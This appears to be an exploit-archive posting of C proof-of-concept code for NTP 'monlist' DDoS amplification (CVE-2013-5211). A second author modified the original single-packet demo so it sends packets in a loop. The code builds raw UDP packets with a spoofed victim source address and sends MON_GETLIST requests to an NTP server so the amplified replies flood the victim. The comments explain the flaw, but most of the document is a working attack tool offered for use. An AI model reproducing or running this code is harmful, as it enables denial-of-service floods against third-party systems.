NTP DDoS Amplification

Related Vulnerabilities: CVE-2013-5211   CVE-2013-5211  
Publish Date: 05 May 2014
Author: Danilo PC
                							

                /*
 * Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
 * Date: 28/04/2014
 * Code Author: Danilo PC - <DaNotKnow@gmail.com>
 * CVE : CVE-2013-5211
*/
 
/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
 * I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
 *  if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
 */
/*            MODIFICATION              */ 
/*---------------------------------------------------------------------------------------------------------------
 *  ntpd 'get monlist' ddos amplification cve-2013-5211 exploit          Todor Donev  (todor.donev @@ gmail.com)
 *---------------------------------------------------------------------------------------------------------------
 * A Network Time Protocol (NTP) Amplification attack is an emerging form of Distributed Denial of Service (DDoS)
 * that relies on the use of publically accessible NTP servers to overwhelm a victim system with UDP traffic.
 *
 * The attack relies on the exploitation of the 'monlist' feature of NTP, as described in CVE-2013-5211, which is 
 * enabled by default on older NTP-capable devices. This command causes a list of the last 600 IP addresses which 
 * connected to the NTP server to be sent to the victim. Due to the spoofed source address, when the NTP server 
 * sends the response it is sent instead to the victim. Because the size of the response is typically considerably 
 * larger than the request, the attacker is able to amplify the volume of traffic directed at the victim. 
 * Additionally, because the responses are legitimate data coming from valid servers, it is especially difficult 
 * to block these types of attacks. The solution is to disable “monlist” within the NTP server or to upgrade to 
 * the latest version of NTP (4.2.7) which disables the “monlist” functionality.
 *---------------------------------------------------------------------------------------------------------------
 * PoC generate and send 1 spoofed packet and don't do enough to Distributed Denial of Service.I'm made loop for 
 * sending multiple packets. Now this exploit is very dangerous against unpatched NTP servers. They can respond 
 * back to spoofed IP address (victim). The size of the response is typically considerably larger than the request.
 *---------------------------------------------------------------------------------------------------------------
 * use at your own risk | use at your own risk | use at your own risk | use at your own risk | use at your own risk 
 *--------------------------------------------------------------------------------------------------------------- 
 */

#include <stdio.h>         // For on printf function
#include <string.h>        // For memset
#include <sys/socket.h>    // Structs and Functions used for sockets operations.
#include <stdlib.h>        // For exit function
#include <netinet/ip.h>    // Structs for IP header
 
// Struct for UDP Packet
struct udpheader{
    unsigned short int udp_sourcePortNumber;
    unsigned short int udp_destinationPortNumber;
    unsigned short int udp_length;
    unsigned short int udp_checksum;
};
 
// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct  ntpreqheader {
    unsigned char rm_vn_mode;         /* response, more, version, mode */
    unsigned char auth_seq;       /* key, sequence number */
    unsigned char implementation;       /* implementation number */
    unsigned char request;            /* request number */
    unsigned short err_nitems;        /* error code/number of data items */
    unsigned short  mbz_itemsize;       /* item size */
    char data[40];                 /* data area [32 prev](176 byte max) */
    unsigned long tstamp;            /* time stamp, for authentication */
    unsigned int keyid;           /* encryption key */
    char mac[8];            /* (optional) 8 byte auth code */
};
 
 
// Calculates the checksum of the ip header.
unsigned short csum(unsigned short *ptr,int nbytes)
{
    register long sum;
    unsigned short oddbyte;
    register short answer;
 
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
 
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
    return(answer);
}
 
 
// Da MAIN
 
int main(int argc, char **argv)
{
  int status;             // Maintains the return values of the functions
  struct iphdr *ip;         // Pointer to ip header struct
  struct udpheader *udp;        // Pointer to udp header struct
  struct ntpreqheader *ntp;     // Pointer to ntp request header struct
  int sockfd;             // Maintains the socket file descriptor
  int one = 1;             // Sets the option IP_HDRINCL of the sockt to tell 
                                // the kernel that the header are alredy included on the packets.
  struct sockaddr_in dest;      // Maintains the data of the destination address

        printf(" [o] ntpd 'get monlist' ddos amplification cve-2013-5211 exploit \n");

// Packet itself
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; 
// Parameters check
    if( argc != 3){
        printf(" [o] usg: ./ntpamp <src> <ntpd>\n");
        exit(1);
    }
    
// "Zeroes" all the packet stack
    memset( packet, 0, sizeof(packet) );
  
// Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
    ip = (struct iphdr *)packet;
    udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
    ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );

// Fill the IP Header
        ip->version = 4;           // IPv4
        ip->ihl = 5;               // Size of the Ip header, minimum 5
        ip->tos = 0;               // Type of service, the default value is 0
        ip->tot_len = sizeof(packet);     // Size of the datagram
        ip->id = htons(1234);        // LengthIdentification Number
        ip->frag_off = 0;            // Flags, zero represents reserved
        ip->ttl = 255;                  // Time to Live. Maximum of 255
        ip->protocol = IPPROTO_UDP;      // Sets the UDP as the next layer protocol
        ip->check = 0;                   // Checksum.
        ip->saddr = inet_addr( argv[1] );   // Source ip ( spoofing goes here)
        ip->daddr = inet_addr( argv[2] );   // Destination IP

// Fills the UDP Header
  udp->udp_sourcePortNumber = htons( atoi( "123" ) );                 // Source Port
  udp->udp_destinationPortNumber = htons(atoi("123")) ;             // Destination Port
  udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) );     // Length of the packet
  udp->udp_checksum = 0;                                  // Checksum
 
// Calculate the checksums
  ip->check = csum((unsigned short *)packet, ip->tot_len);     // Calculate the checksum for iP header
 
// Sets the destination data
  dest.sin_family = AF_INET;                     // Address Family Ipv4
  dest.sin_port = htons (atoi( "123" ) ) ;            // Destination port
  dest.sin_addr.s_addr = inet_addr( argv[2] );           // Destination Endereço para onde se quer enviar o pacote
 
// Fills the NTP header
// Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
// To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
    
  ntp->rm_vn_mode=0x27;        // Sets the response bit to 0, More bit to 0, 
                                                // Version field to 4, Mode field to 7 Private
  ntp->implementation=0x03;    // Sets the implementation to 3 (XNTPD)
  ntp->request=0x2a;           // Sets the request field to 42 ( MON_GETLIST_1 )
                    
       //All the other fields of the struct are zeroed
    
// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
     if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) < 0){
          perror(" [-] Error ");
          exit(1);
     } 
     if ((connect(sockfd,(const struct sockaddr *)&dest,sizeof(dest))) < 0){
            perror(" [-] Error ");
            close(sockfd);
            exit(1);
     }

// Sets the option IP_HDRINCL
     if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0){
           perror(" [-] Error ");
           exit(1);
     }

// Sends the packets
     printf(" [+] sending ntp query src: %s -> dst: %s\n", argv[1], argv[2]);    
     while(1){
            if ( sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) < 0), sleep(2)){
            perror(" [-] Error ");    
            exit(1);
         }
     }
 }
<p>